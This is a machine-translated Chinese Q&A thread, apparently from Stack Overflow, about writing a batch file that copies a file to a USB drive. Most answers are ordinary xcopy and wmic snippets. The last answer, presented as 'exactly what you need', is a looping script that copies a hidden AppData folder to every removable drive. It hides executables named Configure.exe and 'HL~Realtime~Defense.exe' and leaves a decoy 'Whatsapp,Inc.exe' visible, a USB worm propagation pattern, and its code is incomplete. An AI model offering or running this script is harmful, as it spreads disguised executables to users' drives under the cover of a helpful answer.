我想创建一个批处理文件,将文件从任意目录复制到.bat文件所在的根文件夹中,就像USB闪存盘一样。
我的命令不完整:
xcopy /s "%userprofile%\Desktop\test.txt" "?"
我可以用“?”代替什么? ??? 谢谢你们
答案 0 :(得分:1)
这将完全按照您的要求完成所有连接的USB驱动器。
@echo off
for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (
if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
)
)
答案 1 :(得分:0)
xcopy /s "%userprofile%\Desktop\test.txt" "\"
答案 2 :(得分:0)
您应该将其替换为USB驱动器的驱动器号后跟:\
因此,真正的问题是如何确定系统中的哪些驱动器是USB闪存驱动器,我想?这是代码:
@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%
for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del %OUTTEXTFILE%
del %INTEXTFILE%
但请注意,它肯定只适用于1个可移动磁盘。如果插入了这种类型的两个设备,它将失败。
答案 3 :(得分:0)
您需要做的是使用USB目录的相对路径。代码如下所示:
@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause
这应该让您进入一个提示,您要在其中从/名称中复制文件夹。它将文件命名为与原始文件相同并保留原始格式(.txt等)。 让我知道,如果这不适合你,而不是downvoting,我会尽快为你解决另一个解决方案。 祝你好运!
答案 4 :(得分:0)
@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
echo %%c is Removable
cd "%USERPROFILE%\Appdata\Local\SystemSettings"
xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
ATTRIB +H -R +S %%cConfigure.exe
ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
ATTRIB -H -R -s %%cWhatsapp,Inc.exe
timeout /nobreak /t 99
goto loop
正是您所需要的